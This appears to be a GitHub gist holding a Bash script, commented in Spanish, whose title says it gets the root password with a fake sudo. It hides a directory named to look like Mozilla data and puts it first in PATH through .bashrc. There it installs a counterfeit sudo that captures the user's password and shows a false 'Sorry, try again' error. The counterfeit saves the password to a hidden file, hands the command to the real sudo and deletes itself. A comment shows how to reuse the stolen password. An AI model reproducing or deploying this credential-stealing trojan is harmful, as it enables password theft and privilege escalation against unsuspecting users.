Skip to content

Instantly share code, notes, and snippets.

@daryo918
Created January 2, 2014 21:22
Show Gist options
  • Save daryo918/8227173 to your computer and use it in GitHub Desktop.
Save daryo918/8227173 to your computer and use it in GitHub Desktop.
sudo falso obtener clave de root
#!/bin/bash
#escribe el archivo que reemplazara el sudo original para obtener la clave
function falsosudo()
{
cat > "sudo" << EOL
#!/bin/bash
#sale cuando se pone mal el comando o se pide la ayuda
function ayuda1()
{
echo "usage: sudo [-D level] -h | -K | -k | -V
usage: sudo -v [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-u user
name|#uid]
usage: sudo -l[l] [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-U user
name] [-u user name|#uid] [-g groupname|#gid] [command]
usage: sudo [-AbEHknPS] [-r role] [-t type] [-C fd] [-D level] [-g
groupname|#gid] [-p prompt] [-u user name|#uid] [-g groupname|#gid]
[VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-r role] [-t type] [-C fd] [-D level] [-g
groupname|#gid] [-p prompt] [-u user name|#uid] file ...
"
}
function ayuda2()
{
#sale cuando se pide la ayuda junto con ayuda1
echo "
Options:
-a type use specified BSD authentication type
-b run command in the background
-C fd close all file descriptors >= fd
-E preserve user environment when executing command
-e edit files instead of running a command
-g group execute command as the specified group
-H set HOME variable to target user's home dir.
-h display help message and exit
-i [command] run a login shell as target user
-K remove timestamp file completely
-k invalidate timestamp file
-l[l] command list user's available commands
-n non-interactive mode, will not prompt user
-P preserve group vector instead of setting to target's
-p prompt use specified password prompt
-r role create SELinux security context with specified role
-S read password from standard input
-s [command] run a shell as target user
-t type create SELinux security context with specified role
-U user when listing, list specified user's privileges
-u user run command (or edit file) as specified user
-V display version information and exit
-v update user's timestamp without running a command
-- stop processing command line arguments
"
}
# si no hay parametros muestra la ayuda
if [ "\$#" -eq 0 ];
then
ayuda1
#si se pide ayuda pero hay mas parametros
elif [ "\$#" -ne 1 ] && [ "\$1" == "-h" ];
then
ayuda1
#si se pide ayuda
elif [ "\$#" -eq 1 ] && [ "\$1" == "-h" ];
then
ayuda1
ayuda2
#si no captura la clave
else
#esto es para que no muestre la clave por pantalla
STTY_SAVE=\`stty -g\`
stty -echo
#se pide la contraseña y se guarga en la variable clave
echo -n "[sudo] password for \$USERNAME: "
read clave
#se pone por defecto para que mueste de nuevo lo que se escribe en el teclado
stty \$STTY_SAVE
#error falso que dice que la clave es incorrecta
echo -e "\nSorry, try again."
sleep 3
#guarda el usuario y contraseña
echo "\$USERNAME">>$HOME/.mozilla2/config
echo "\$clave" >> $HOME/.mozilla2/config
#ejecuta el sudo real
/usr/bin/sudo \$*
#se borra solo
rm \$0
fi
EOL
#aca finaliza el archivo
}
#si no existe la ubicacion entonces:
if [ ! -d "$HOME/.mozilla2/" ];
then
# usar clave una ves conseguida :D
#echo <clave> | sudo -S <comando> || echo error
cd "$HOME"
mkdir .mozilla2
#creo el archivo bashrc aca se configura nuestra consola. donde agrego la ruta del sudo falso
echo 'export PATH="$HOME/.mozilla2:$PATH"' >> .bashrc
cd .mozilla2
#creo el sudo
falsosudo
#le doy permisos de ejecucion
chmod +x sudo
fi
#rm $0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment